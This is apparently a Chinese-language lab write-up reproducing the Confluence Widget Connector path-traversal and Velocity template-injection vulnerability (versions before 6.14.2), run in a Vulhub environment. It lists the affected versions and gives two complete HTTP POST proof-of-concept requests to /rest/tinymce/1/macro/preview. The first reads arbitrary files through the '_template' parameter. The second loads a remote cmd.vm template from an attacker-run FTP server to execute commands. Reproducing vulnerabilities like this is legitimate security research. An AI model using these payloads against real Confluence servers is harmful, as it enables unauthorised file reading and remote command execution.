漏洞说明:
1 2 3 4 5 6 7 8 9 10 11
| Atlassian Confluence是企业广泛使用的wiki系统,其6.14.2版本前存在一处未授权的目录穿越漏洞,通过该漏洞,攻击者可以读取任意文件,并且可以利用Velocity模板注入执行任意命令。 漏洞影响版本: Confluence 1.*.*、2.*.*、3.*.*、4.*.*、5.*.* Confluence 6.0.*、6.1.*、6.2.*、6.3.*、6.4.*、6.5.* Confluence 6.6.* < 6.6.12 Confluence6.7.*、6.8.*、6.9.*、6.10.*、6.11.* Confluence 6.12.* < 6.12.3 Confluence 6.13.* < 6.13.3 Confluence 6.14.* < 6.14.2 漏洞成因: _template参数覆盖Velocity渲染模板, 利用file:协议可以进行任意文件读取(不再受限于classpath)
|
环境:
Vulhub+Centos7.2
步骤:
参考vulhub搭建好环境
路径穿越
复现POC
1 2 3 4 5 6 7 8 9 10 11
| POST /rest/tinymce/1/macro/preview HTTP/1.1 Host: 192.168.116.132:8090 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Referer: http://192.168.116.132:8090 Content-Type: application/json; charset=utf-8 Content-Length: 169
{"contentId":"786458","macro":{"name":"widget","body":"","params":{"url":"https://www.viddler.com/v/23464dc6t","width":"1000","height":"1000","_template":"../web.xml"}}}
|
复现截图:
读取passwd文件
也可以进行SSRF探测
命令执行
远程命令执行POC就是把模板换成远程RCE VM文件
VM后缀的文件是基于java的velocity模板引擎的一种页面控制文件,你可以用文本编译器打开,能够看到他只是一些类似html的语句和一种叫VLT的语句构成的。
下载VM到本地,搭建ftp环境
1 2
| pip install pyftpdlib python -m pyftpdlib -p 21
|
复现POC:
1 2 3 4 5 6 7 8 9 10 11
| POST /rest/tinymce/1/macro/preview HTTP/1.1 Host: 192.168.116.132:8090 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Referer: http://192.168.116.132:8090 Content-Type: application/json; charset=utf-8 Content-Length: 202
{"contentId":"786458","macro":{"name":"widget","body":"","params":{"url":"https://www.viddler.com/v/23464dc6t","width":"1000","height":"1000","_template":"ftp://192.168.116.132/cmd.vm","cmd":"whoami"}}}
|